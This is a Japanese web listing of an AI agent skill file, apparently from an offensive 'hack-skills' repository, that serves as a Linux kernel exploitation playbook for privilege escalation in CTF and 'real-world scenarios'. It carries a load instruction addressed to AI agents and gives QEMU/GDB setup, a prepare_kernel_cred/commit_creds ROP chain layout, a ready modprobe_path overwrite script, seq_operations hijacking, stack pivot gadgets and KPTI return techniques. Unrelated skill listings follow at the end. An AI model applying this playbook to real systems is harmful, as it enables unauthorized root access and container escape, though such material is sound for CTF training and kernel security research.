kernel-exploitation
Linux カーネル脆弱性(UAF、OOB、レースコンディション、型混同)を悪用した権限昇格の攻略手順を提供するスキル。CTF や実環境において、`commit_creds`、`modprobe_path` 上書き、カーネル ROP チェーンを用いたエクスプロイトを実施する際に使用します。
description の原文を見る
>- Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
SKILL.md 本文
SKILL: Linux Kernel Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
0. RELATED ROUTING
binary-protection-bypass— userspace protections (NX, ASLR) also apply in kernel contextstack-overflow-and-rop— kernel ROP reuses many userspace ROP conceptsheap-exploitation— kernel SLUB is conceptually related to userspace heaplinux-privilege-escalation— non-exploit kernel privesc techniques
Advanced References
KERNEL_MITIGATION_BYPASS.md— KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniquesKERNEL_HEAP_TECHNIQUES.md— SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
1. EXPLOITATION MODEL
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
2. ENVIRONMENT SETUP
QEMU + カスタムカーネル
# カーネルのダウンロードとコンパイル
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# より簡単なデバッグのため、軽減策を無効化:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# QEMU で起動
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # ポート1234でGDBサーバーを起動、開始時に一時停止
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
GDB デバッグ
gdb vmlinux
target remote :1234
# カーネルシンボルをロード
add-symbol-file vmlinux 0xffffffff81000000 # 典型的な .text ベース
# ブレークポイント
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF はカーネルデバッグで動作する
initramfs の変更
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# init スクリプトを編集、エクスプロイトバイナリを追加
cp /path/to/exploit ./
# 再パック
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
3. 一般的な脆弱性タイプ
| タイプ | 説明 | カーネルの例 |
|---|---|---|
| UAF | オブジェクトが解放されたがポインタはアクセス可能 | CVE-2022-0847 (DirtyPipe) |
| OOB Read/Write | 配列インデックスまたはサイズチェック不足 | CVE-2021-22555 (Netfilter) |
| Race Condition | チェックと使用の間の TOCTOU | CVE-2016-5195 (DirtyCow) |
| Integer Overflow | サイズ計算がオーバーフロー | 様々な ioctl ハンドラー |
| Type Confusion | オブジェクトが間違った型にキャスト | CVE-2023-0179 (Netfilter) |
| Double Free | オブジェクトが2回解放 | SLUB アロケーター exploitation |
| Stack Overflow | カーネルスタックバッファオーバーフロー | 稀 (カーネルスタック: 8KB–16KB) |
4. 権限昇格の対象
方法 1: commit_creds(prepare_kernel_cred(0))
// 現在のプロセスの認証情報をroot に設定するカーネル関数
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // uid=0, gid=0 の cred
カーネル ROP チェーン相当:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # または pop rdi + 既知の場所
commit_creds addr
kpti_trampoline / swapgs+iretq # ユーザー空間に戻る
方法 2: modprobe_path オーバーライト
// modprobe_path = カーネル .data 内の "/sbin/modprobe"
// "/tmp/x" に上書き → 不明なバイナリ形式でトリガー → カーネルが root として "/tmp/x" を実行
# セットアップ:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# トリガー (不明なバイナリ形式):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # カーネルが modprobe_path を呼び出す → /tmp/x が root として実行
方法 3: cred 構造体の直接上書き
任意書き込みができ、現在のタスクの cred ポインターを見つけた場合、cred 構造体内の uid/gid フィールドを直接ゼロクリアします。
方法 4: ネームスペース脱出 (コンテナ)
init_nsproxy を上書きするか、ネームスペースポインターを操作してコンテナアイソレーションから脱出します。
5. KERNEL ROP
制御可能な RIP ソース
| ソース | メカニズム |
|---|---|
| 破損した関数ポインター | UAF オブジェクトが vtable のようなディスパッチを持つ → ポインターを上書き |
| 破損したリターンアドレス | カーネルスタックオーバーフロー (稀) |
破損した ops 構造体 | モジュール操作構造体 (file_operations, seq_operations) |
seq_operations ハイジャック (一般的な CTF パターン)
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// サイズ: 0x20 (kmalloc-32 に適合)
// /proc/self/stat を開く → seq_operations を割り当て
// UAF で start を上書き → read() が呼び出されると制御可能な RIP
カーネル内のスタック ピボット
| ガジェット | 用途 |
|---|---|
xchg eax, esp; ret | RAX の下位 32 ビットのアドレスにピボット (既知のアドレスで mmap されたバッファ) |
mov rsp, [rdi+X]; ... | RDI が制御可能なデータをポイント |
push rdi; pop rsp; ... | RDI にピボット (ハイジャックされた関数の最初の引数) |
重要: SMEP の後は、ユーザー空間コードを実行できません。ROP チェーンは カーネルガジェット のみを使用する必要があります。
6. ret2usr (SMEP 前)
カーネルコンテキストからユーザー空間関数を直接呼び出します:
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// カーネル関数ポインターをユーザー メモリの escalate() をポイントするように上書き
ブロック対象: SMEP (Supervisor Mode Execution Prevention) — カーネルはユーザーマップされたページを実行できません。
7. ユーザー空間への返却
カーネル内で権限昇格した後は、root シェルを取得するためにユーザー空間に安全に戻す必要があります。
iretq 経由 (従来)
; ROP チェーン終了:
swapgs ; GS ベースをユーザー空間に戻す
iretq ; スタックからポップ: RIP, CS, RFLAGS, RSP, SS
; スタックは以下を含む必要: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# エクスプロイト前にユーザー空間の状態を保存
user_cs = 0x33
user_ss = 0x2b
user_rflags = # pushfq 経由で保存
user_rsp = # 保存された RSP
user_rip = # post-exploit 関数のアドレス (例: get_shell)
KPTI トランポリン経由 (KPTI が有効な場合)
KPTI はカーネル/ユーザー ページテーブルを分離します。直接的な swapgs; iretq はユーザーページがマップされていないためクラッシュします。カーネル自身のリターントランポリンを使用してください:
# KPTI トランポリン (既知のオフセットでカーネルに存在):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# [RIP, CS, RFLAGS, RSP, SS] をスタック上に置いてトランポリンにジャンプ
シグナルハンドラーリターン経由
エクスプロイト前にシグナルハンドラーをセットアップします。commit_creds の後、シグナルをトリガー → シグナルハンドラー経由でユーザー空間に戻る (手動の swapgs/iretq を回避)。
8. QEMU デバッグのコツ
| コマンド | 目的 |
|---|---|
-s -S | ポート1234でGDBサーバーを起動、一時停止 |
-monitor /dev/null | QEMU モニターを無効化 (出力がクリーン) |
-append "nokaslr" | デバッグのため KASLR を無効化 |
-cpu kvm64,+smep,+smap | 特定の CPU 機能を有効化 |
info registers (GDB) | すべてのレジスター値を表示 |
maintenance packet Qqemu.PhyMemMode:1 | GDB で物理メモリを読み取り |
cat /proc/kallsyms | カーネルシンボルアドレス (読み取り可能な場合) |
cat /sys/kernel/notes | カーネルビルド ID |
9. DECISION TREE
カーネル脆弱性が特定された
├── どのタイプ?
│ ├── UAF → 解放されたオブジェクトを特定、置き換えをスプレー (KERNEL_HEAP_TECHNIQUES を参照)
│ ├── OOB → 読み取り/書き込み範囲を決定、隣接オブジェクトをターゲット
│ ├── Race condition → 信頼性の高いトリガー (userfaultfd, FUSE)
│ ├── Integer overflow → OOB または割り当て混乱にどのように変換される?
│ └── Type confusion → 混乱した型は何にアクセスできる?
│
├── プリミティブを構築
│ ├── RIP を制御可能? → カーネル ROP または ret2usr (SMEP がない場合)
│ ├── 任意読み取り? → KASLR ベースをリーク、その後 RIP を制御
│ ├── 任意書き込み? → modprobe_path オーバーライト (最も単純)
│ │ または cred 構造体を直接上書き
│ └── 限定的な書き込み? → 既知のオブジェクト内の関数ポインターをターゲット
│
├── 軽減策 (KERNEL_MITIGATION_BYPASS.md を参照)
│ ├── KASLR → 最初に情報リークが必要 (/proc/kallsyms が読み取り可能な場合、タイミング、または OOB 読み取り)
│ ├── SMEP → カーネル ROP のみ (ユーザーコード実行なし)
│ ├── SMAP → カーネルからユーザーデータを読み取り不可 (copy_from_user ガジェットを使用)
│ ├── KPTI → KPTI トランポリンを使用してクリーンに返却
│ └── FG-KASLR → 関数オフセットがランダム化 (modprobe_path のようなデータセクションターゲットを使用)
│
├── 昇格方法
│ ├── 制御可能な RIP + KASLR バイパス → ROP チェーン: prepare_kernel_cred(0) → commit_creds
│ ├── 任意書き込みのみ → modprobe_path オーバーライト
│ ├── 任意書き込み + KASLR バイパス → cred uid/gid を 0 に上書き
│ └── 制御可能な関数呼び出し → commit_creds(prepare_kernel_cred(0)) を呼び出し
│
└── ユーザー空間に返却
├── KPTI 無効化 → swapgs; iretq (ROP 終了)
├── KPTI 有効化 → KPTI トランポリンにジャンプ
└── 代替手段 → シグナルハンドラー + process_one_work リターンパス
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。